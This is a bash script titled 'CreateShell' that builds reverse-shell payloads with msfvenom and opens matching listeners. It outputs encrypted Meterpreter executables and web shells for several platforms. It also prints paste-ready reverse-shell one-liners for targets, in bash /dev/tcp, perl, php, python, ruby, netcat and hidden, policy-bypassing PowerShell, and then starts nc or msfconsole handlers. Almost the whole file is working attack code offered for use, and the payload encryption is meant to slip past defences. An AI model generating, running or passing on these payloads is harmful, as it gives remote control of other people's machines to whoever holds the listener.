A fast way to generate payloads and open listeners for reverse shells

createshell.sh

#!/bin/bash
if [ $# -eq 0 ]
	then
	echo "##############################################################";
	echo "# CreateShell v0.1 - A fast way to generate payloads and open listeners for reverse shells";
	echo "# By Daniel ([email protected]) ";
	echo "# Usage: createshell.sh lhost lport payload ";
	echo "#";
	echo "# MSF short payloads : ";
	echo "# [php|jsp|war|asp|python|bash|perl|linux32|linux64|win32|win64|osx]";
	echo "# OR [msfvenom_default_payload]";
	echo "#";
	echo "# Raw payloads : ";
	echo "# [rawbash|rawbash2|rawperl|rawphp|rawphp_shellexec|rawphp_system|rawpython|rawps|rawps2|rawps_base64|rawnc]";
	exit;
fi

case "$3" in
	#############################
	#WEB SERVERS
	"php")  
		payload="php/meterpreter_reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f raw > shell.php;
	    ;;
	"jsp")
		payload="java/jsp_shell_reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f raw > shell.jsp;
	    ;;
	"war") 
		payload="java/jsp_shell_reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f war > shell.war;
	    ;;
	"asp") 
		payload="windows/meterpreter/reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f asp > shell.asp;
		;;

	#############################	
	#LOCAL INTERPRETERS

	"python") 
		payload="cmd/unix/reverse_python";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f raw > shell.py
	   ;;
	"bash") 
		payload="cmd/unix/reverse_bash";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f raw > shell.sh
	   ;;
	"perl") 
		payload="cmd/unix/reverse_perl";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f raw > shell.pl
	   ;;


	#############################	
	#OPERATING SYSTEMS
	"linux32") 
		payload="linux/x86/meterpreter/reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f elf --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f  -i 10 > shell.elf
	   ;;
	"linux64") 
		payload="linux/x64/meterpreter/reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f elf --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f  -i 10 > shell.elf
	   ;;
	"win32") 
		payload="windows/meterpreter/reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f exe --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f  -i 10 > shell.exe
	    ;;
	"win64") 
		payload="windows/x64/meterpreter/reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f exe --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f  -i 10 > shell.exe
	    ;;
	"osx") 
		payload="osx/x86/shell_reverse_tcp";
		echo "Generating $payload";
		msfvenom -p $payload LHOST=$1 LPORT=$2 -f macho --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f  -i 10 > shell.macho
	   ;;

	#############################	
	#RAW CONNECTIONS WITHOUT NC ON TARGET
	"rawbash") 
		echo '###########################';
		echo 'Type at target: ';
		echo 'bash -i >& /dev/tcp/'$1'/'$2' 0>&1';
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;

	"rawbash2") 
		echo '###########################';
		echo 'Type at target: ';
		echo '0<&196;exec 196<>/dev/tcp/'$1'/'$2'; bash <&196 >&196 2>&196';
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;

	"rawperl") 
		echo '###########################';
		echo 'Type at target: ';
		echo "perl -e 'use Socket;"'$i="'$1'";''$p='$2';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;


	"rawphp") 
		echo '###########################';
		echo 'Type at target: ';
		echo "php -r '"'$sock=fsockopen("'$1'",'$2');exec("/bin/sh -i <&3 >&3 2>&3");'"'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;

	"rawphp_shellexec") 
		echo '###########################';
		echo 'Type at target: ';
		echo "php -r '"'$sock=fsockopen("'$1'",'$2');shell_exec("/bin/sh -i <&3 >&3 2>&3");'"'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;

	"rawphp_system") 
		echo '###########################';
		echo 'Type at target: ';
		echo "php -r '"'$sock=fsockopen("'$1'",'$2');system("/bin/sh -i <&3 >&3 2>&3");'"'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;

	"rawpython") 
		echo '###########################';
		echo 'Type at target: ';
		echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'"'$1'"'","$2"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["'"/bin/sh"'","'"-i"'"]);'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;		

	"rawps") 
		echo '###########################';
		echo 'Type at target: ';
		echo 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("'$1'",'$2');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()';
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;		

	"rawps2") 
		echo '###########################';
		echo 'Type at target: ';
		echo "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('"$1"',"$2");\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + '"'PS '"' + (pwd).Path + '"'> '"';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\"";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;	

	"rawps_base64") 
		echo '###########################';
		echo 'Type at target: ';
		echo 'powershell -e ';
		echo '$client = New-Object System.Net.Sockets.TCPClient("'$1'",'$2');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | base64; 
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;	

	"rawruby") 
		echo '###########################';
		echo 'Type at target: ';
		echo "ruby -rsocket -e'f=TCPSocket.open(\""$1\"","$2").to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;		 

	"rawnc") 
		echo '###########################';
		echo 'Type at target: ';
		echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "$1" "$2" >/tmp/f";
		echo '';
		echo '###########################';

		nc -lvnp $2;

		exit;
	   ;;		 

	*) 
		echo '###########################';
		echo 'Right! Custom payload detected! Please input your desired format:'
		read format
		echo 'Right! Please input desired final extension:'
		read extension
		echo msfvenom -p $3 LHOST=$1 LPORT=$2 -f $format --encrypt aes256 --encrypt-key dj38jdewjfdeifjeowfj0fj443f4f -i 10 > shell.$extension;
		payload="$3";
	   ;;
esac

if [ -z "$payload" ]
then
      echo "Payload missed"
else
      msfconsole -x "use exploit/multi/handler;set PAYLOAD $payload;set LHOST $1;set LPORT $2;set ExitOnSession false;exploit -j -z";
fi